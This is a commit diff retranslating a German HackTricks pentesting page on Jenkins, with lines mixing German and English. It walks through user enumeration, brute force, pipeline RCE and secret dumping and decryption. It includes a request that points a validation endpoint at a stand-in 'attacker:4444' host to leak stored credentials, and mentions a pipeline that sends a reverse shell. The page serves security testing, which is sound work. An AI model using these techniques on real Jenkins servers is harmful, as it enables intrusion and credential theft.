mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-ci-cd/jenkins-security/basic-jenkins-inf
This commit is contained in:
Translator
@@ -1,28 +1,30 @@
|
||||
# Jenkins-Sicherheit
|
||||
# Jenkins Sicherheit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Jenkins ist ein Tool, das eine einfache Methode bietet, um eine **Continuous Integration** oder **Continuous Delivery** (CI/CD) Umgebung für fast **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die **Notwendigkeit, Skripte für einzelne Schritte zu erstellen**, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann.
|
||||
Jenkins ist ein Tool, das eine einfache Möglichkeit bietet, eine **kontinuierliche Integration** oder **kontinuierliche Lieferung** (CI/CD) Umgebung für nahezu **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories unter Verwendung von Pipelines einzurichten. Außerdem automatisiert es verschiedene Routine-Entwicklungsaufgaben. Obwohl Jenkins nicht die **Notwendigkeit, für einzelne Schritte Skripte zu erstellen**, eliminiert, bietet es einen schnelleren und robusteren Weg, die gesamte Abfolge von Build-, Test- und Deployment-Tools zu integrieren, als man sie leicht manuell erstellen könnte.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthentifizierte Enumeration
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
Um nach interessanten Jenkins-Seiten ohne Authentifizierung zu suchen, wie (_/people_ oder _/asynchPeople_, dies listet die aktuellen Benutzer auf), können Sie Folgendes verwenden:
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
Überprüfen Sie, ob Sie Befehle ausführen können, ohne sich authentifizieren zu müssen:
|
||||
Überprüfe, ob du Befehle ohne Authentifizierung ausführen kannst:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Ohne Anmeldeinformationen können Sie im _**/asynchPeople/**_ Pfad oder _**/securityRealm/user/admin/search/index?q=**_ nach **Benutzernamen** suchen.
|
||||
Ohne credentials kannst du im Pfad _**/asynchPeople/**_ oder _**/securityRealm/user/admin/search/index?q=**_ nach **usernames** suchen.
|
||||
|
||||
Sie können möglicherweise die Jenkins-Version über den Pfad _**/oops**_ oder _**/error**_ abrufen.
|
||||
Möglicherweise kannst du die Jenkins-Version aus dem Pfad _**/oops**_ oder _**/error**_ ermitteln.
|
||||
|
||||
.png>)
|
||||
|
||||
### Bekannte Schwachstellen
|
||||
|
||||
@@ -30,9 +32,9 @@ Sie können möglicherweise die Jenkins-Version über den Pfad _**/oops**_ oder
|
||||
https://github.com/gquere/pwn_jenkins
|
||||
{{#endref}}
|
||||
|
||||
## Anmeldung
|
||||
## Login
|
||||
|
||||
In den grundlegenden Informationen können Sie **alle Möglichkeiten zur Anmeldung in Jenkins** überprüfen:
|
||||
In den basic information kannst du **alle Möglichkeiten prüfen, dich in Jenkins einzuloggen**:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
@@ -40,86 +42,102 @@ basic-jenkins-information.md
|
||||
|
||||
### Registrierung
|
||||
|
||||
Sie werden in der Lage sein, Jenkins-Instanzen zu finden, die **es Ihnen ermöglichen, ein Konto zu erstellen und sich darin anzumelden. So einfach ist das.**
|
||||
Du wirst Jenkins-Instanzen finden, die es dir erlauben, einen Account zu erstellen und dich einzuloggen. So einfach ist das.
|
||||
|
||||
### **SSO-Anmeldung**
|
||||
### **SSO Login**
|
||||
|
||||
Wenn **SSO** **Funktionalität**/**Plugins** vorhanden sind, sollten Sie versuchen, sich mit einem Testkonto (d.h. einem Test-**Github/Bitbucket-Konto**) in die Anwendung einzuloggen. Trick von [**hier**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Wenn **SSO** **functionality**/**plugins** vorhanden sind, solltest du versuchen, dich mit einem Test-Account in die Anwendung einzuloggen (z. B. ein Test **Github/Bitbucket account**). Trick von [**hier**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** hat keine **Passwortrichtlinie** und keine **Minderung von Benutzernamen-Bruteforce**. Es ist wichtig, **Benutzer zu bruteforcen**, da **schwache Passwörter** oder **Benutzernamen als Passwörter** verwendet werden können, sogar **umgekehrte Benutzernamen als Passwörter**.
|
||||
**Jenkins** hat keine **password policy** und keine **username brute-force mitigation**. Es ist essenziell, Benutzer zu **brute-force**n, da **weak passwords** oder **usernames as passwords** verwendet werden können, sogar **reversed usernames as passwords**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### Passwort-Spraying
|
||||
### Password spraying
|
||||
|
||||
Verwenden Sie [dieses Python-Skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) oder [dieses PowerShell-Skript](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
Verwende [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) oder [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP-Whitelisting-Umgehung
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Viele Organisationen kombinieren **SaaS-basierte Quellcodeverwaltungssysteme (SCM)** wie GitHub oder GitLab mit einer **internen, selbst gehosteten CI**-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, **Webhook-Ereignisse von SaaS-Quellcodeanbietern** zu **empfangen**, hauptsächlich um Pipeline-Jobs auszulösen.
|
||||
Viele Organisationen kombinieren **SaaS-based source control management (SCM) systems** wie GitHub oder GitLab mit einer **internal, self-hosted CI**-Lösung wie Jenkins oder TeamCity. Diese Konfiguration ermöglicht es CI-Systemen, **receive webhook events from SaaS source control vendors**, hauptsächlich um Pipeline-Jobs auszulösen.
|
||||
|
||||
Um dies zu erreichen, **whitelisten** Organisationen die **IP-Bereiche** der **SCM-Plattformen**, die ihnen den Zugriff auf das **interne CI-System** über **Webhooks** ermöglichen. Es ist jedoch wichtig zu beachten, dass **jeder** ein **Konto** auf GitHub oder GitLab erstellen und es so konfigurieren kann, dass es **einen Webhook auslöst**, was potenziell Anfragen an das **interne CI-System** senden kann.
|
||||
Um dies zu ermöglichen, setzen Organisationen die **whitelist** der **IP ranges** der **SCM platforms**, wodurch diesen der Zugriff auf das **internal CI system** via **webhooks** gestattet wird. Es ist jedoch wichtig zu beachten, dass **anyone** ein **account** auf GitHub oder GitLab erstellen und so konfigurieren kann, dass ein **trigger a webhook** ausgelöst wird, was potenziell Anfragen an das **internal CI system** senden kann.
|
||||
|
||||
Überprüfen Sie: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
Siehe: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## Interne Jenkins-Missbräuche
|
||||
|
||||
In diesen Szenarien gehen wir davon aus, dass Sie ein gültiges Konto haben, um auf Jenkins zuzugreifen.
|
||||
In diesen Szenarien gehen wir davon aus, dass du ein gültiges Konto hast, um auf Jenkins zuzugreifen.
|
||||
|
||||
> [!WARNING]
|
||||
> Abhängig von dem in Jenkins konfigurierten **Autorisierungs**mechanismus und den Berechtigungen des kompromittierten Benutzers **könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.**
|
||||
> Je nach dem in Jenkins konfigurierten **Authorization**-Mechanismus und den Berechtigungen des kompromittierten Users kannst du die folgenden Angriffe **möglicherweise durchführen oder nicht.**
|
||||
|
||||
Für weitere Informationen überprüfen Sie die grundlegenden Informationen:
|
||||
Für weitere Informationen siehe die Basisinformationen:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Auflisten von Benutzern
|
||||
### Listing users
|
||||
|
||||
Wenn Sie auf Jenkins zugegriffen haben, können Sie andere registrierte Benutzer unter [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) auflisten.
|
||||
Wenn du Zugriff auf Jenkins hast, kannst du andere registrierte Benutzer unter [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) auflisten.
|
||||
|
||||
### Dumpen von Builds, um Klartextgeheimnisse zu finden
|
||||
### Dumps von Builds, um cleartext secrets zu finden
|
||||
|
||||
Verwenden Sie [dieses Skript](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), um die Konsolenausgaben von Builds und Umgebungsvariablen zu dumpen, um hoffentlich Klartextgeheimnisse zu finden.
|
||||
Verwende [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), um Build-Konsolenausgaben und Build-Umgebungsvariablen zu dumpen, um hoffentlich cleartext secrets zu finden.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **Diebstahl von SSH-Anmeldeinformationen**
|
||||
### FormValidation/TestConnection Endpunkte (CSRF to SSRF/credential theft)
|
||||
|
||||
Wenn der kompromittierte Benutzer **ausreichende Berechtigungen hat, um einen neuen Jenkins-Knoten zu erstellen/zu ändern** und SSH-Anmeldeinformationen bereits gespeichert sind, um auf andere Knoten zuzugreifen, könnte er **diese Anmeldeinformationen stehlen**, indem er einen Knoten erstellt/ändert und **einen Host festlegt, der die Anmeldeinformationen aufzeichnet**, ohne den Hostschlüssel zu überprüfen:
|
||||
Einige Plugins stellen Jelly `validateButton`- oder `test connection`-Handler unter Pfaden wie `/descriptorByName/<Class>/testConnection` bereit. Wenn Handler **keine POST- oder Berechtigungsprüfungen erzwingen**, können Sie:
|
||||
|
||||
- POST zu GET wechseln und den Crumb weglassen, um CSRF-Prüfungen zu umgehen.
|
||||
- Den Handler als low-priv/anonymous auslösen, wenn keine `Jenkins.ADMINISTER`-Prüfung vorhanden ist.
|
||||
- Einen Admin per CSRF angreifen und den Host/URL-Parameter ersetzen, um credentials zu exfiltrieren oder ausgehende Aufrufe auszulösen.
|
||||
- Die Response-Fehler (z. B. `ConnectException`) als SSRF/Port-Scan-Oracle verwenden.
|
||||
|
||||
Beispiel GET (kein Crumb), das einen Validation-Call in SSRF/credential exfiltration verwandelt:
|
||||
```http
|
||||
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
|
||||
Host: jenkins.local:8080
|
||||
```
|
||||
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
|
||||
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
Wenn der kompromittierte Benutzer **genügend Berechtigungen hat, um einen neuen Jenkins Node zu erstellen/zu ändern** und SSH credentials bereits gespeichert sind, um auf andere Nodes zuzugreifen, könnte er **diese credentials stehlen**, indem er einen Node erstellt/ändert und **einen Host setzt, der die credentials aufzeichnet**, ohne den Host-Key zu überprüfen:
|
||||
|
||||
.png>)
|
||||
|
||||
Sie finden normalerweise Jenkins-SSH-Anmeldeinformationen in einem **globalen Anbieter** (`/credentials/`), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im [**Abschnitt Geheimnisse dumpen**](./#dumping-secrets).
|
||||
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
|
||||
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Einen **Shell-Zugang zum Jenkins-Server** zu erhalten, gibt dem Angreifer die Möglichkeit, alle **Geheimnisse** und **Umgebungsvariablen** zu leaken und **andere Maschinen** im selben Netzwerk zu **exploiten** oder sogar **Cloud-Anmeldeinformationen zu sammeln**.
|
||||
Eine **Shell auf dem Jenkins-Server** zu bekommen, gibt dem Angreifer die Möglichkeit, alle **secrets** und **env variables** zu leak und **andere Maschinen** im selben Netzwerk auszunutzen oder sogar **cloud credentials** zu sammeln.
|
||||
|
||||
Standardmäßig wird Jenkins **als SYSTEM** ausgeführt. Das Kompromittieren von Jenkins gibt dem Angreifer **SYSTEM-Berechtigungen**.
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
|
||||
### **RCE Erstellen/Ändern eines Projekts**
|
||||
### **RCE Creating/Modifying a project**
|
||||
|
||||
Das Erstellen/Ändern eines Projekts ist eine Möglichkeit, RCE über den Jenkins-Server zu erhalten:
|
||||
Das Erstellen/Ändern eines Projekts ist ein Weg, um RCE auf dem Jenkins-Server zu erlangen:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **RCE Ausführen eines Groovy-Skripts**
|
||||
### **RCE Execute Groovy script**
|
||||
|
||||
Sie können auch RCE erhalten, indem Sie ein Groovy-Skript ausführen, was möglicherweise stealthier ist als das Erstellen eines neuen Projekts:
|
||||
Man kann RCE auch durch Ausführen eines Groovy-Skripts erhalten, was möglicherweise unauffälliger ist als das Erstellen eines neuen Projekts:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE Erstellen/Ändern einer Pipeline
|
||||
### RCE Creating/Modifying Pipeline
|
||||
|
||||
Sie können auch **RCE erhalten, indem Sie eine Pipeline erstellen/ändern**:
|
||||
|
||||
@@ -127,37 +145,37 @@ Sie können auch **RCE erhalten, indem Sie eine Pipeline erstellen/ändern**:
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Pipeline-Ausnutzung
|
||||
## Pipeline Exploitation
|
||||
|
||||
Um Pipelines auszunutzen, müssen Sie weiterhin Zugriff auf Jenkins haben.
|
||||
Um Pipelines auszunutzen, benötigt man weiterhin Zugriff auf Jenkins.
|
||||
|
||||
### Build-Pipelines
|
||||
### Build Pipelines
|
||||
|
||||
**Pipelines** können auch als **Build-Mechanismus in Projekten** verwendet werden. In diesem Fall kann eine **Datei im Repository** konfiguriert werden, die die Pipeline-Syntax enthält. Standardmäßig wird `/Jenkinsfile` verwendet:
|
||||
**Pipelines** können auch als **Build-Mechanismus in Projekten** verwendet werden; in diesem Fall kann eine **Datei im Repository** konfiguriert werden, die die Pipeline-Syntax enthält. Standardmäßig wird `/Jenkinsfile` verwendet:
|
||||
|
||||
.png>)
|
||||
|
||||
Es ist auch möglich, **Pipeline-Konfigurationsdateien an anderen Orten** zu speichern (zum Beispiel in anderen Repositories), um den **Zugriff** auf das Repository und den Zugriff auf die Pipeline **zu trennen**.
|
||||
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
|
||||
|
||||
Wenn ein Angreifer **Schreibzugriff auf diese Datei hat**, kann er sie **ändern** und die Pipeline **potenziell auslösen**, ohne überhaupt Zugriff auf Jenkins zu haben.\
|
||||
Es ist möglich, dass der Angreifer **einige Branch-Schutzmaßnahmen umgehen** muss (je nach Plattform und Benutzerberechtigungen könnten diese umgangen werden oder nicht).
|
||||
Wenn ein Angreifer **Schreibzugriff auf diese Datei** hat, kann er sie **ändern** und **möglicherweise die Pipeline auslösen**, ohne überhaupt Zugriff auf Jenkins zu haben.\
|
||||
Es ist möglich, dass der Angreifer einige Branch-Protections umgehen muss (je nach Plattform und Benutzerrechten können diese umgangen werden oder nicht).
|
||||
|
||||
Die häufigsten Auslöser zum Ausführen einer benutzerdefinierten Pipeline sind:
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
|
||||
- **Pull-Request** an den Hauptbranch (oder potenziell an andere Branches)
|
||||
- **Push an den Hauptbranch** (oder potenziell an andere Branches)
|
||||
- **Aktualisierung des Hauptbranches** und Warten, bis er irgendwie ausgeführt wird
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
|
||||
> [!NOTE]
|
||||
> Wenn Sie ein **externer Benutzer** sind, sollten Sie nicht erwarten, einen **PR zum Hauptbranch** des Repos eines **anderen Benutzers/Organisation** zu erstellen und **die Pipeline auszulösen**... aber wenn es **schlecht konfiguriert** ist, könnten Sie Unternehmen vollständig **kompromittieren, nur indem Sie dies ausnutzen**.
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
|
||||
### Pipeline RCE
|
||||
|
||||
Im vorherigen RCE-Abschnitt wurde bereits eine Technik angegeben, um [**RCE durch Ändern einer Pipeline zu erhalten**](./#rce-creating-modifying-pipeline).
|
||||
Im vorherigen RCE-Abschnitt wurde bereits eine Technik angegeben, um [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
|
||||
|
||||
### Überprüfen von Umgebungsvariablen
|
||||
### Überprüfen der Env variables
|
||||
|
||||
Es ist möglich, **Klartext-Umgebungsvariablen** für die gesamte Pipeline oder für spezifische Phasen zu deklarieren. Diese Umgebungsvariablen **sollten keine sensiblen Informationen enthalten**, aber ein Angreifer könnte immer **alle Pipeline**-Konfigurationen/Jenkinsfiles überprüfen:
|
||||
Es ist möglich, **klartext env variables** für die gesamte Pipeline oder für spezifische Stages zu deklarieren. Diese env variables **sollten keine sensiblen Informationen enthalten**, aber ein Angreifer könnte jederzeit alle Pipeline-Konfigurationen/Jenkinsfiles **überprüfen**:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -174,19 +192,19 @@ steps {
|
||||
```
|
||||
### Dumping secrets
|
||||
|
||||
Für Informationen darüber, wie Geheimnisse normalerweise von Jenkins behandelt werden, siehe die grundlegenden Informationen:
|
||||
Für Informationen darüber, wie secrets normalerweise von Jenkins behandelt werden, siehe die Basisinformationen:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Anmeldeinformationen können **globalen Anbietern** (`/credentials/`) oder **spezifischen Projekten** (`/job/<project-name>/configure`) zugeordnet werden. Daher müssen Sie, um alle zu exfiltrieren, **mindestens alle Projekte** kompromittieren, die Geheimnisse enthalten, und benutzerdefinierte/vergiftete Pipelines ausführen.
|
||||
Credentials können **globalen Providern** (`/credentials/`) oder **spezifischen Projekten** (`/job/<project-name>/configure`) zugewiesen werden. Daher müssen Sie, um alle davon zu exfiltrate, **mindestens alle Projekte kompromittieren**, die secrets enthalten, und custom/poisoned pipelines ausführen.
|
||||
|
||||
Es gibt ein weiteres Problem: Um ein **Geheimnis innerhalb der env** einer Pipeline zu erhalten, müssen Sie **den Namen und den Typ des Geheimnisses** kennen. Wenn Sie beispielsweise versuchen, ein **`usernamePassword`** **Geheimnis** als **`string`** **Geheimnis** zu **laden**, erhalten Sie diesen **Fehler**:
|
||||
Es gibt ein weiteres Problem: Um ein **secret in die env** einer Pipeline zu bekommen, müssen Sie **den Namen und Typ des secret** kennen. Beispielsweise: Wenn Sie versuchen, ein **`usernamePassword`** **secret** als **`string`** **secret** zu laden, erhalten Sie diesen **Fehler**:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
Hier ist die Möglichkeit, einige gängige Geheimnisarten zu laden:
|
||||
Hier findest du die Vorgehensweise, um einige gängige secret types zu laden:
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
@@ -214,46 +232,46 @@ env
|
||||
'''
|
||||
}
|
||||
```
|
||||
Am Ende dieser Seite können Sie **alle Arten von Anmeldeinformationen finden**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
Am Ende dieser Seite finden Sie **alle Credential-Typen**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> Der beste Weg, um **alle Geheimnisse auf einmal zu dumpen**, besteht darin, die **Jenkins**-Maschine zu **kompromittieren** (zum Beispiel einen Reverse-Shell im **eingebauten Knoten** auszuführen) und dann die **Master-Schlüssel** und die **verschlüsselten Geheimnisse** zu **leaken** und sie offline zu entschlüsseln.\
|
||||
> Mehr dazu im Abschnitt [Nodes & Agents](./#nodes-and-agents) und im Abschnitt [Post Exploitation](./#post-exploitation).
|
||||
> Der beste Weg, **dump all the secrets at once**, ist, die **Jenkins**-Maschine zu **compromising** (z. B. durch Ausführen einer reverse shell im **built-in node**) und anschließend die **master keys** und die **encrypted secrets** zu **leaking** und diese offline zu decrypten.\
|
||||
> Mehr dazu in der [Nodes & Agents section](#nodes-and-agents) und in der [Post Exploitation section](#post-exploitation).
|
||||
|
||||
### Trigger
|
||||
### Triggers
|
||||
|
||||
Aus [den Docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind `cron`, `pollSCM` und `upstream`.
|
||||
Aus [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Wege, auf denen die Pipeline erneut ausgelöst werden soll**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht notwendig, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren triggers sind `cron`, `pollSCM` und `upstream`.
|
||||
|
||||
Cron-Beispiel:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Überprüfen Sie **andere Beispiele in den Dokumenten**.
|
||||
Siehe **weitere Beispiele in der Dokumentation**.
|
||||
|
||||
### Knoten & Agenten
|
||||
### Nodes & Agents
|
||||
|
||||
Eine **Jenkins-Instanz** kann **verschiedene Agenten auf verschiedenen Maschinen** haben. Aus der Perspektive eines Angreifers bedeutet der Zugriff auf verschiedene Maschinen **verschiedene potenzielle Cloud-Anmeldeinformationen**, die gestohlen werden können, oder **verschiedenen Netzwerkzugriff**, der missbraucht werden könnte, um andere Maschinen auszunutzen.
|
||||
Eine **Jenkins instance** kann auf verschiedenen Maschinen **verschiedene agents** ausführen. Aus Sicht eines Angreifers bedeutet der Zugriff auf verschiedene Maschinen, dass es **different potential cloud credentials** zum Stehlen geben kann oder **different network access**, das missbraucht werden könnte, um andere Maschinen zu kompromittieren.
|
||||
|
||||
Für weitere Informationen überprüfen Sie die grundlegenden Informationen:
|
||||
Für mehr Informationen siehe die Basisinformationen:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Sie können die **konfigurierten Knoten** in `/computer/` auflisten, Sie werden normalerweise den \*\*`Built-In Node` \*\* (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden:
|
||||
Du kannst die **configured nodes** unter `/computer/` aufzählen; normalerweise findest du den **`Built-In Node`** (den Node, auf dem Jenkins läuft) und möglicherweise weitere:
|
||||
|
||||
.png>)
|
||||
|
||||
Es ist **besonders interessant, den Built-In Node zu kompromittieren**, da er sensible Jenkins-Informationen enthält.
|
||||
Es ist **besonders interessant, den Built-In node zu kompromittieren**, da er sensitive Jenkins-Informationen enthält.
|
||||
|
||||
Um anzugeben, dass Sie die **Pipeline** im **Built-In Jenkins Node** ausführen möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben:
|
||||
Um anzugeben, dass du die **pipeline** im **built-in Jenkins node** **run** möchtest, kannst du innerhalb der pipeline die folgende Konfiguration angeben:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Vollständiges Beispiel
|
||||
### Komplettes Beispiel
|
||||
|
||||
Pipeline in einem spezifischen Agenten, mit einem Cron-Trigger, mit Pipeline- und Stage-Umgebungsvariablen, die 2 Variablen in einem Schritt laden und eine Reverse-Shell senden:
|
||||
Pipeline in einem spezifischen Agenten, mit einem cron trigger, mit pipeline- und stage env-Variablen, lädt 2 Variablen in einem Schritt und sendet eine reverse shell:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -284,7 +302,7 @@ cleanWs()
|
||||
}
|
||||
}
|
||||
```
|
||||
## Arbiträre Dateilesen zu RCE
|
||||
## Arbitrary File Read to RCE
|
||||
|
||||
{{#ref}}
|
||||
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
|
||||
@@ -304,17 +322,17 @@ jenkins-rce-creating-modifying-project.md
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Nach der Ausnutzung
|
||||
## Post Exploitation
|
||||
|
||||
### Metasploit
|
||||
```
|
||||
msf> post/multi/gather/jenkins_gather
|
||||
```
|
||||
### Jenkins-Geheimnisse
|
||||
### Jenkins Secrets
|
||||
|
||||
Sie können die Geheimnisse auflisten, indem Sie auf `/credentials/` zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse in der Datei `credentials.xml` auflistet, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.
|
||||
Du kannst die secrets auflisten, indem du auf `/credentials/` zugreifst, wenn du über ausreichende Berechtigungen verfügst. Beachte, dass dadurch nur die secrets innerhalb der `credentials.xml` aufgelistet werden; **Build-Konfigurationsdateien** können jedoch auch **weitere credentials** enthalten.
|
||||
|
||||
Wenn Sie **die Konfiguration jedes Projekts sehen können**, können Sie dort auch die **Namen der Anmeldeinformationen (Geheimnisse)** sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie **andere Anmeldeinformationen des Projekts**.
|
||||
Wenn du **die Konfiguration jedes Projekts sehen kannst**, kannst du dort auch die **Namen der credentials (secrets)** sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie **andere credentials des Projekts**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -324,14 +342,14 @@ Wenn Sie **die Konfiguration jedes Projekts sehen können**, können Sie dort au
|
||||
jenkins-dumping-secrets-from-groovy.md
|
||||
{{#endref}}
|
||||
|
||||
#### Vom Datenträger
|
||||
#### Von der Festplatte
|
||||
|
||||
Diese Dateien sind erforderlich, um **Jenkins-Geheimnisse zu entschlüsseln**:
|
||||
Diese Dateien werden benötigt, um **Jenkins secrets zu entschlüsseln**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
|
||||
Solche **Geheimnisse sind normalerweise zu finden in**:
|
||||
Solche **secrets befinden sich normalerweise in**:
|
||||
|
||||
- credentials.xml
|
||||
- jobs/.../build.xml
|
||||
@@ -347,9 +365,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
|
||||
# Secret example
|
||||
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
|
||||
```
|
||||
#### Jenkins-Geheimnisse offline entschlüsseln
|
||||
#### Jenkins secrets offline entschlüsseln
|
||||
|
||||
Wenn Sie die **benötigten Passwörter zur Entschlüsselung der Geheimnisse** haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **um diese Geheimnisse zu entschlüsseln**.
|
||||
Wenn Sie die **benötigten Passwörter zum Entschlüsseln der secrets** gedumpt haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **um diese secrets zu entschlüsseln**.
|
||||
```bash
|
||||
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
06165DF2-C047-4402-8CAB-1C8EC526C115
|
||||
@@ -357,18 +375,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
|
||||
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
|
||||
```
|
||||
